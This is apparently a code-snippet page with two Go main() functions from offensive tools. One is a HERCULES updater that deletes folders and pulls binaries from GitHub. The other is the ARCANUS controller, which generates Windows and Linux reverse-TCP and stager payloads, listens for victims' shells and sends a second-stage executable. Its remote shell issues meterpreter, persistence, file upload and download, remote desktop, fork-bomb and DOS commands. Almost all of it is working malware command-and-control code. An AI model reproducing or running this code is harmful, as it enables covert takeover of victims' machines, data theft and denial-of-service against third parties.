Пример #1
0
func main() {

	Repo := []string{"https://github.com/EgeBalci/HERCULES/blob/master/SOURCE/HERCULES.go", "https://github.com/EgeBalci/HERCULES/raw/master/HERCULES_x64", "https://github.com/EgeBalci/HERCULES/raw/master/HERCULES_x86", "https://github.com/EgeBalci/HERCULES/raw/master/README.md"}

	exec.Command("sh", "-c", "zenity --info --text=\"HERCULES Update Started... \"").Run()
	exec.Command("sh", "-c", "rm  -r SOURCE").Run()
	exec.Command("sh", "-c", "rm  -r STATISTICS").Run()
	exec.Command("sh", "-c", "rm HERCULES_x64").Run()
	exec.Command("sh", "-c", "rm HERCULES_x86").Run()
	color.Blue("[*] Updating HERCULES...\n\n")
	for i := 0; i < len(Repo); i++ {
		response, _ := http.Get(Repo[i])
		defer response.Body.Close()
		body, _ := ioutil.ReadAll(response.Body)

		Name := strings.Split(Repo[i], "/")
		color.Green("#	" + string(Name[(len(Name)-1)]) + "		[OK]")
		File, _ := os.Create(string(Name[(len(Name) - 1)]))

		File.WriteString(string(body))
	}
	exec.Command("sh", "-c", "zenity --info --text=\"HERCULES Update completed !\"").Run()

}
Пример #2
0
func main() {

	CLEAR_SCREEN()
	BANNER()
	MAIN_MENU()
	fmt.Scan(&Menu_Selector) // Main Menu

	for {
		if Menu_Selector == 1 {
			CLEAR_SCREEN()
			BANNER()
			PAYLOAD_MENU()
			fmt.Scan(&Menu_Selector) // Payload Menu
			if Menu_Selector == 1 {
				Payload.Type = "Windows"
			} else if Menu_Selector == 2 {
				Payload.Type = "Linux"
			} else if Menu_Selector == 3 {
				Payload.Type = "Stager_Windows"
			} else if Menu_Selector == 4 {
				Payload.Type = "Stager_Linux"
			}
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Listen_Port)
			if Payload.Type == "Stager_Windows" {
				GENERATE_WINDOWS_PAYLOAD()
			} else if Payload.Type == "Stager_Linux" {
				GENERATE_LINUX_PAYLOAD()
			}
			CLEAR_SCREEN()
			BANNER()
			color.Yellow("\n[*] Port:" + string(Listen_Port))
			break
		} else if Menu_Selector == 2 {
			Payload.Type = "Windows"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_WINDOWS_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 3 {
			Payload.Type = "Linux"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_LINUX_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 4 {
			Payload.Type = "Stager_Windows"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_WINDOWS_STAGER_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 5 {
			Payload.Type = "Stager_Linux"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_LINUX_STAGER_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 6 {
			response, err := http.Get("https://raw.githubusercontent.com/EgeBalci/ARCANUS/master/SOURCE/ARCANUS.go")
			if err != nil {
				color.Red("\n[!] Update Connection Failed !")
				fmt.Println(err)
			}
			defer response.Body.Close()
			body, _ := ioutil.ReadAll(response.Body)
			if strings.Contains(string(body), string(VERSION)) {
				color.Green("\n[+] Arcanus Version Up To Date !")
				time.Sleep(2 * time.Second)
				main()
			} else {
				color.Blue("\n[*] New Version Detected !")
				var Choice string = "N"
				color.Blue("\n[?] Do You Want To Update ? (Y/N) : ")
				fmt.Print("\n\n>>")
				fmt.Scan(&Choice)
				if Choice == "Y" || Choice == "y" {
					if runtime.GOOS == "windows" {
						color.Yellow("\n[*] Updating ARCANUS...")
						exec.Command("cmd", "/C", "Update.exe").Start()
						os.Exit(1)
					} else if runtime.GOOS == "linux" {
						color.Yellow("\n[*] Updating ARCANUS...")
						Update, _ := os.Create("Update.sh")

						Update.WriteString("chmod 777 Update\n./Update")
						Update.Close()
						exec.Command("sh", "-c", "chmod 777 Update && ./Update.sh").Run()
						exec.Command("sh", "-c", "./Update.sh").Run()
						exec.Command("sh", "-c", "rm Update.sh").Run()
						os.Exit(1)
					}
				} else if Choice == "N" || Choice == "n" {
					main()
				} else {
					color.Blue("\n[?] Do You Want To Update ? (Y/N) : ")
					fmt.Scan(&Choice)
					fmt.Print("\n\n>>")
				}
			}
		} else {
			main()
		}
	}

	if Payload.Type == "Stager_Windows" || Payload.Type == "Stager_Linux" {
		color.Yellow("\n[*] Listening For Reverse TCP Stager Shell...")
		ln, _ := net.Listen("tcp", ":"+Listen_Port)
		connect, _ := ln.Accept()
		color.Green("[+] Connection Established !")
		file, err := os.Open("Payload.exe")
		if err != nil {
			color.Red("\n[-] Eror while accesing Payload.exe !")
			color.Red("\n[*] Put second stage payload on same directory with ARCANUS and rename it \"Payload.exe\" ")
		}
		color.Yellow("[*] Sending Second Stage Payload...")
		io.Copy(connect, file)
		color.Green("[+] Payload transfer completed !")
		color.Yellow("[*] Executeing Second Stage Payload...")
		runtime.GC()
	}

	color.Yellow("\n[*] Listening For Reverse TCP Shell...")
	ln, _ := net.Listen("tcp", ":"+Listen_Port)
	connect, err := ln.Accept()
	if err != nil {
		fmt.Println(err)
	}
	reader := bufio.NewReader(os.Stdin)
	var SysInfo = make([]byte, BUFFER_SIZE)
	fmt.Print("\x07") // Connection Launched !
	color.Green("\n[+] Connection Established !\n")
	connect.Read([]byte(SysInfo))
	SysGuide = strings.Split(string(SysInfo), "£>")
	color.Green("\n[+] Remote Address -> ", connect.RemoteAddr())

	color.Green(string(("\n\n[+] OS Version Captured" + SysGuide[1])))

	if Payload.Type == "Linux" || Payload.Type == "Stager_Linux" {
		for {
			runtime.GC()
			fmt.Print("\n")
			fmt.Print("\n")
			fmt.Print(string(SysGuide[0]) + ">")
			Command, _ := reader.ReadString('\n')
			_Command := string(Command)
			GLOBAL__Command = _Command
			runtime.GC()
			var cmd_out []byte
			connect.Write([]byte(Command))
			go connect.Read([]byte(cmd_out))
			fmt.Println(string(cmd_out))
		}
	}

	for {

		var cmd_out = make([]byte, BUFFER_SIZE)
		runtime.GC()
		fmt.Print("\n")
		fmt.Print("\n")
		fmt.Print(string(SysGuide[0]) + ">")
		Command, _ := reader.ReadString('\n')
		_Command := string(Command)
		GLOBAL__Command = _Command

		if strings.Contains(_Command, "£METERPRETER") || strings.Contains(_Command, "£meterpreter") {
			color.Green("\n[*] Meterpreter Code Send !")
			connect.Write([]byte(Command))
		} else if strings.Contains(_Command, "£desktop") || strings.Contains(_Command, "£DESKTOP") {
			if Payload.Type == "Windows" || Payload.Type == "Stager_Windows" {
				connect.Write([]byte(Command))
				connect.Read([]byte(cmd_out))
				Command_Output := strings.Split(string(cmd_out), "£>")
				if strings.Contains(string(Command_Output[0]), "failed") {
					color.Red("\n[-] Remote desktop connection failed ! (Acces denied, The requested operation requires Administration elavation.) ")
				} else {
					color.Green("\n[+] Remote desktop connection configurations succesfull !.")
					color.Green("\n >>> Remote Address >>> ", connect.RemoteAddr())
					if runtime.GOOS == "windows" {
						exec.Command("cmd", "/C", "mstsc").Run()
					}
				}
			} else {
				color.Red("\n[-] This payload type does not support \"REMOTE DESKTOP\" module !")
			}
		} else if strings.Contains(_Command, "£persistence") || strings.Contains(_Command, "£PERSISTENCE") {
			connect.Write([]byte(GLOBAL__Command))
		} else if strings.Contains(_Command, "£help") || strings.Contains(_Command, "£HELP") {
			if runtime.GOOS == "windows" {
				HELP_SCREEN_WIN()
			} else if runtime.GOOS == "linux" {
				HELP_SCREEN_LINUX()
			}
		} else if strings.Contains(_Command, "£upload -f") || strings.Contains(_Command, "£UPLOAD -F") {
			connect.Write([]byte(_Command))
			file_name := strings.Split(GLOBAL__Command, "\"")
			color.Yellow("\n[*] Uploading ---> " + file_name[1])
			go UPLOAD_VIA_TCP()
		} else if strings.Contains(_Command, "£download") || strings.Contains(_Command, "£DOWNLOAD") {
			connect.Write([]byte(Command))
			go DOWNLOAD_VIA_TCP()
		} else if strings.Contains(_Command, "£DISTRACT") || strings.Contains(_Command, "£distract") {
			connect.Write([]byte(Command))
			color.Yellow("\n[*] Preparing fork bomb...")
			color.Green("\n[+] Distraction Started !")
		} else if strings.Contains(_Command, "£DOS") || strings.Contains(_Command, "£dos") {
			DOS_Target := strings.Split(GLOBAL__Command, "\"")
			if strings.Contains(DOS_Target[1], "http//") || strings.Contains(DOS_Target[1], "https//") {
				connect.Write([]byte(Command))
				color.Yellow("\n[*] Starting DOS Atack to --> " + DOS_Target[1])
				color.Green("\n[+] DOS Atack Started !")
				color.Green("\n[+] Sending 1000 GET request to target...")
			} else {
				color.Red("\n[-] ERROR: Invalid URL type !")
			}
		} else {
			connect.Write([]byte(Command))
			for {
				connect.Read([]byte(cmd_out))
				if !strings.Contains(string(cmd_out), "£>") {
					fmt.Println(string(cmd_out))
				} else {
					Command_Output := strings.Split(string(cmd_out), "£>")
					fmt.Println(string(Command_Output[0]))
					break
				}
			}
		}
	}
}